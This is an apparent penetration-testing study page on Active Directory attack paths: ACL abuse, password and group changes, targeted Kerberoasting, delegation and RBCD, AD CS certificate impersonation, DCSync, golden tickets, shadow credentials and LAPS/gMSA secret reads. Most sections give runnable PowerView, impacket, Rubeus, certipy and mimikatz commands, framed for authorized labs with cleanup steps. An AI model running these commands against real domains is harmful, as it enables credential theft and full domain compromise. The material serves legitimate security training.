← Complete task index · Workspace

Object Control, AD CS and Domain Compromise

← Stage index | Domain mapping | AD cheatsheet | Strategy map | Study methods: Map Active Directory attack paths; Gain a more useful domain identity

Active Block 11 core: user, group, SPN and DACL-backed identity transitions, plus the rights required for DCSync.

Conditional supplements: GPO abuse, delegation/RBCD and AD CS remain evidence-led branches rather than core Block 11 study.

Directory-object control

Model: controlled principal → effective ACE → target object/type → permitted modification → authentication/authorization effect → cleanup.

Enumerate a target's ACL with resolved GUIDs:

Import-Module .\PowerView.ps1
Get-DomainObjectAcl -Identity TARGET_OBJECT -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteOwner|ExtendedRight' }

Resolve trustees:

ConvertFrom-SID 'S-1-5-21-...'
Get-DomainObject -Identity 'S-1-5-21-...' | Select-Object samaccountname,objectclass

Common effects require different rights:

Right/objectPossible controlled effectValidation needed
GenericAll/password-reset extended right on userReset the user's passwordEffective trustee, account state, protected-object behavior
GenericAll or effective member-attribute write on groupAdd a controlled principal to the groupTarget group, nesting and a refreshed logon token
GenericWrite/SPN-property write on userAdd a temporary SPN, request a TGS and remove itExact property right, duplicate-SPN checks and cleanup
WriteDaclGrant a narrower rightAbility to write DACL and restore original ACL
WriteOwnerChange owner, then possibly DACLOwner semantics and cleanup
Computer-object writeRBCD-related attribute changeMachine account/control, SPN/Kerberos and target service

Password reset

A password-reset right creates a new password credential; it does not reveal the old one. This is disruptive because an unknown original password cannot be restored.

$Secure = ConvertTo-SecureString 'TEMP_PASSWORD' -AsPlainText -Force
Set-DomainUserPassword -Identity TARGET_USER -AccountPassword $Secure -Verbose
net user TARGET_USER TEMP_PASSWORD /domain

Validate the account state and authenticate only to an approved service as the target identity. Prefer a reversible route when one exists.

Group membership

Add-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose
Get-DomainGroupMember -Identity TARGET_GROUP |
  Where-Object { $_.MemberName -eq 'CONTROLLED_USER' }

# Built-in alternative
net group TARGET_GROUP CONTROLLED_USER /add /domain

A current session may not receive the new group SID until a fresh logon. Validate with a new session/token, then remove the membership after the authorized objective:

Remove-DomainGroupMember -Identity TARGET_GROUP -Members CONTROLLED_USER -Verbose -Confirm:$false
net group TARGET_GROUP CONTROLLED_USER /delete /domain

Targeted Kerberoast through SPN write

If the effective right permits writing servicePrincipalName on a user, add a unique temporary SPN, request that account's ticket and remove the SPN immediately. The cracking workflow is in Kerberos and identity transitions.

setspn -S TEMP/TARGET_USER TARGET_USER
setspn -Q TEMP/TARGET_USER
Rubeus.exe kerberoast /user:TARGET_USER /outfile:TARGET_USER.tgs /format:hashcat
setspn -D TEMP/TARGET_USER TARGET_USER

Owner and DACL transitions

WriteOwner can make the controlled identity the owner; ownership may then permit a DACL change. WriteDacl can grant only the narrower right needed for the intended transition.

Set-DomainObjectOwner -Identity TARGET_OBJECT -OwnerIdentity CONTROLLED_USER -Verbose
Add-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

# Group-membership variant
Add-DomainObjectAcl -TargetIdentity TARGET_GROUP -PrincipalIdentity CONTROLLED_USER -Rights WriteMembers -Verbose

# Remove the ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity TARGET_OBJECT -PrincipalIdentity CONTROLLED_USER -Rights ResetPassword -Verbose

Export the original owner/security descriptor before changing it and restore exactly that state. Password resets, membership changes, SPN writes, ownership changes and ACE grants are state changes; do not execute merely because a graph shows an edge.

Conditional: GPO control

Identify GPOs and links:

Get-DomainGPO
Get-DomainOU | Select-Object name,distinguishedname,gplink
Get-DomainObjectAcl -SearchBase 'CN=Policies,CN=System,DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ActiveDirectoryRights -match 'GenericAll|GenericWrite|WriteDacl|WriteProperty' }

For a candidate, prove:

  1. the controlled principal can edit both the directory object and relevant SYSVOL policy files;
  2. the GPO is linked to the OU containing the intended test host/user;
  3. security filtering and WMI filters include that subject;
  4. the configured preference/task/script runs in the expected context; and
  5. policy refresh or another predictable trigger will occur.

SharpGPOAbuse supports immediate-task/local-group techniques, but syntax is version-sensitive and the action changes domain policy. Inspect the installed build before a controlled lab action:

SharpGPOAbuse.exe --help
gpresult /r
gpupdate /force

Back up the GPO, restrict the target/scope, document the exact change and restore it after validation.

Conditional: delegation paths

Enumerate before attempting any ticket operation:

Get-DomainComputer -Unconstrained | Select-Object dnshostname
Get-DomainUser -TrustedToAuth | Select-Object samaccountname
Get-DomainComputer -TrustedToAuth | Select-Object dnshostname
Get-DomainObject -LDAPFilter '(msDS-AllowedToDelegateTo=*)' -Properties samaccountname,msds-allowedtodelegateto
impacket-findDelegation 'DOMAIN/USER:PASSWORD' -dc-ip DC_IP

Constrained delegation/S4U requires control of the delegated account/key and an allowed SPN:

impacket-getST -spn ALLOWED_SPN -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/DELEGATED_USER:PASSWORD'
export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"

Use the ticket only for the approved service/host. Unconstrained delegation can expose forwarded/cached tickets, but coercing authentication changes another host's behavior and is not a baseline. Validate only in a disposable authorized lab and protect ticket material.

Resource-based constrained delegation

Prerequisite: effective write control over the target computer's msDS-AllowedToActOnBehalfOfOtherIdentity plus control of a principal with an SPN (often a lab computer account).

impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -computer-pass 'LAB_MACHINE_PASSWORD' -dc-host DC_HOST -dc-ip DC_IP

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action write -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'

impacket-getST -spn cifs/TARGET_HOST -impersonate AUTHORIZED_TEST_USER \
  -dc-ip DC_IP 'DOMAIN/LABCOMPUTER$:LAB_MACHINE_PASSWORD'

Cleanup after the lab objective:

impacket-rbcd -delegate-from 'LABCOMPUTER$' -delegate-to 'TARGETCOMPUTER$' \
  -action remove -dc-ip DC_IP 'DOMAIN/USER:PASSWORD'
impacket-addcomputer 'DOMAIN/USER:PASSWORD' -computer-name 'LABCOMPUTER$' \
  -delete -dc-ip DC_IP

Machine-account quota, computer-object rights, DNS/SPN naming and target service authorization are separate prerequisites.

Conditional: AD CS enumeration

Prerequisite: reachable CA/DC and a valid domain identity. Decisive output: a CA/template whose enabled state, enrollment rights and configuration satisfy a specific ESC path.

Package names vary:

command -v certipy-ad || command -v certipy
certipy-ad find -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -enabled -vulnerable -stdout

Review:

  • CA name and host;
  • template name and whether it is enabled/published;
  • who can enroll;
  • client-authentication EKUs/purpose;
  • subject/SAN supply controls;
  • manager approval/signature requirements;
  • template owner and modification rights;
  • web enrollment/relay-related configuration where relevant.

An ESC label is a candidate classification. Manually validate the properties and the controlled identity's effective rights.

Conditional: certificate request and authentication

Generic request after validating a specific template:

certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE

An alternate UPN/SID request is appropriate only when the validated template permits it and the lab explicitly authorizes impersonation testing:

certipy-ad req -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -target DC_HOST -ca CA_NAME -template TEMPLATE \
  -upn 'TEST_USER@DOMAIN' -sid 'TEST_USER_SID'
certipy-ad auth -pfx CERTIFICATE.pfx -dc-ip DC_IP

Treat PFX files, tickets and returned hashes as credentials. Verify certificate subject/SID, validity and intended identity. A successful issuance is not the same as successful PKINIT authentication.

Conditional: ESC4/template-write boundary

Before any authorized template change, save configuration:

certipy-ad template -u 'USER@DOMAIN' -p 'PASSWORD' -dc-ip DC_IP \
  -template TEMPLATE -save-configuration template-backup.json

Template writes alter Active Directory configuration and may affect many principals. Use only an explicitly authorized disposable lab path, inspect certipy-ad template -h for the installed version, and restore the saved configuration after the demonstration.

DCSync replication rights

Prerequisite: effective domain-root rights equivalent to Replicating Directory Changes plus Replicating Directory Changes All (and filtered-set rights where applicable). Domain membership or local admin on an ordinary host is insufficient.

Validate ACLs at the domain root:

Get-DomainObjectAcl -Identity 'DC=DOMAIN,DC=TLD' -ResolveGUIDs |
  Where-Object { $_.ObjectAceType -match 'Replication-Get-Changes' }

A controlled DACL transition can grant these rights, but doing so changes the domain security descriptor and creates a domain-compromise path:

Add-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

# Remove the delegated replication ACE after the authorized objective
Remove-DomainObjectAcl -TargetIdentity 'DC=DOMAIN,DC=TLD' -PrincipalIdentity CONTROLLED_USER -Rights DCSync -Verbose

Local administrator rights on a member host, an LDAP bind or a valid Kerberos ticket do not supply replication rights. Re-read the effective domain-root ACL before and after a change.

Request one approved test account rather than dumping the directory:

impacket-secretsdump -just-dc-user TARGET_USER -dc-ip DC_IP \
  'DOMAIN/USER:PASSWORD@DC_HOST'

Mimikatz equivalent from an authorized Windows context:

lsadump::dcsync /domain:DOMAIN /user:TARGET_USER

Decisive output: selected directory secret material returned through replication. Treat it as domain compromise evidence. Stop, protect evidence, document the delegated right and move to remediation reasoning rather than broad collection.

Conditional: high-impact ticket-forging concepts

Golden tickets require the domain SID and KRBTGT key. They are persistence/impact concepts, not a default Block 11 action. A forged ticket still depends on correct cryptographic material, realm, time and authorization. For the active service-scoped case, use Silver tickets.

Authorized isolated-lab examples:

# Golden: realm-wide TGT material
impacket-ticketer -nthash KRBTGT_NT_HASH -domain-sid DOMAIN_SID \
  -domain DOMAIN AUTHORIZED_TEST_USER

export KRB5CCNAME="$PWD/AUTHORIZED_TEST_USER.ccache"
klist

Use only against the approved service/host, record ticket metadata and remove generated credentials afterward. Domain recovery after KRBTGT exposure generally requires coordinated credential rotation and replication convergence; service-ticket exposure requires rotating the affected service/machine secret and reviewing access.

bloodyAD — Linux-side LDAP reads and permission-backed writes

Use an authenticated LDAP context and the exact right on the target object. Start with a read. These writes are distinct alternatives selected by the observed ACL:

# Inspect the target/group instead of assuming the relationship
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object TARGET_OBJECT --attr distinguishedName,member,memberOf

# Force-change-password right on this specific account
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  set password TARGET_USER 'NEW_PASSWORD'

# Write-members right on this specific group
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  add groupMember TARGET_GROUP USER

Read: verify the actual attribute change and test the resulting identity/capability through a compatible service. Group changes do not automatically refresh an existing process token/ticket. Access denied → inspect the object DACL and protected-account context; authentication alone is insufficient. Account Operators membership does not imply control over protected administrator accounts/groups.

Sources: upstream 1.

Delegated reads — LAPS and gMSA material

Use when directory permissions grant access to the secret-bearing attribute. Being able to enumerate the computer or service account does not grant that read.

# Classic LAPS: password for the relevant computer's local administrator
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'COMPUTER$' --attr ms-Mcs-AdmPwd

# Windows LAPS: returned content/format depends on schema and protection
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'COMPUTER$' --attr msLAPS-Password

# gMSA: inspect the allowed managed-password attribute
bloodyAD --host DC_HOST -d DOMAIN -u USER -p 'PASSWORD' \
  get object 'GMSA$' --attr msDS-ManagedPassword

Read: a LAPS value is scoped to the named host's local account. An encrypted Windows-LAPS value still needs the permitted decryption context. A gMSA blob/base64 string is not automatically a directly reusable NT hash: parse/decode it with a compatible gMSA tool before choosing authentication. Missing/denied attributes → distinguish schema, permissions and an empty value.

Sources: upstream 1 · upstream 2.

Shadow credentials — object-key write, PKINIT, then cleanup

Use only with effective write access to the target's msDS-KeyCredentialLink, a DC supporting the required key-trust/PKINIT behavior, correct time/DNS and compatible certificates. Inspect existing values first.

python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action list

# Adds a new key credential and generates certificate material; record its DeviceID
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action add --filename target-key

# Use the generated PFX password; request the target principal's TGT
python3 gettgtpkinit.py -cert-pfx target-key.pfx -pfx-pass 'PFX_PASSWORD' \
  -dc-ip DC_IP DOMAIN/TARGET_USER target.ccache
export KRB5CCNAME="$PWD/target.ccache"
klist

# Optional NT-hash recovery from this PKINIT TGT; key is the printed AS-REP key
python3 getnthash.py -key AS_REP_KEY -dc-ip DC_IP DOMAIN/TARGET_USER

# Remove only the key credential you added; never clear unrelated original values
python3 pywhisker.py -d DOMAIN -u USER -p 'PASSWORD' --dc-ip DC_IP \
  --target TARGET_USER --action remove --device-id DEVICE_ID

Read: a successful attribute write does not yet establish a TGT or service authorization. Verify the cached principal and the intended service. PKINIT/certificate failure → inspect KDC support, mapping and trust; do not keep overwriting keys. Preserve the original state and remove only your added DeviceID after the test.

Sources: upstream 1 · upstream 2.

PassTheCert — Schannel/LDAP when the certificate is usable there

Use a certificate/private key mapped to an accepted AD identity with the necessary trust/EKU and a working LDAP TLS path. PKINIT and Schannel are different authentication paths: failure of one does not prove the other works or fails.

# Extract PEM material from the relevant PFX; respond to password prompts
openssl pkcs12 -in USER.pfx -clcerts -nokeys -out USER.crt
openssl pkcs12 -in USER.pfx -nocerts -nodes -out USER.key

# First identify the principal accepted through the certificate
python3 passthecert.py -action whoami -crt USER.crt -key USER.key \
  -domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP

# Inspect operations in the LDAP shell before choosing an authorized write
python3 passthecert.py -action ldap-shell -crt USER.crt -key USER.key \
  -domain DOMAIN -dc-host DC_HOST -dc-ip DC_IP

Read: successful binding proves that mapped identity's LDAP context, not domain administration. The same object ACL still governs group/password/delegation writes. Certificate trust/mapping, TLS policy or a missing private key can block this route. Do not weaken workstation-wide TLS settings to compensate for an unexplained failure.

Sources: upstream 1.

Powermad — create an account only when the chosen AD path needs it

Use from a suitable authenticated PowerShell context when the actual quota/delegation permits computer creation and the planned path needs an account/SPN you control. Account creation alone does not grant RBCD rights on another host.

Import-Module .\Powermad.ps1
$machinePassword = ConvertTo-SecureString 'MACHINE_PASSWORD' -AsPlainText -Force
New-MachineAccount -MachineAccount NEWPC -Password $machinePassword `
  -Domain DOMAIN -DomainController DC_HOST

Read: verify the created account, its SPNs and the chosen target-object permission separately. Quota, OU ACLs and existing names can stop the operation. Standard create rights do not necessarily permit deleting the created account later; establish the cleanup route and avoid repeated throwaway account creation.

Sources: upstream 1.

gMSA — obtain a decoded hash only with managed-password read rights

Use when the accepted directory identity has the managed-password read permission for the gMSA. NetExec selects LDAPS for this operation, so the DC's LDAP TLS path must work.

nxc ldap DC_IP -d DOMAIN -u USER -p 'PASSWORD' --gmsa

# After identifying the returned service account and hash, test one relevant service
nxc smb TARGET -d DOMAIN -u 'GMSA$' -H HASH --shares

Read: keep the exact service-account name and decoded NT hash together; an encoded msDS-ManagedPassword blob is a different representation. Authentication acceptance still does not prove administrative/remote-execution rights. Empty output → inspect object permissions, LDAPS, account type and collection errors before concluding that no gMSA path exists.

Sources: upstream 1.

Sources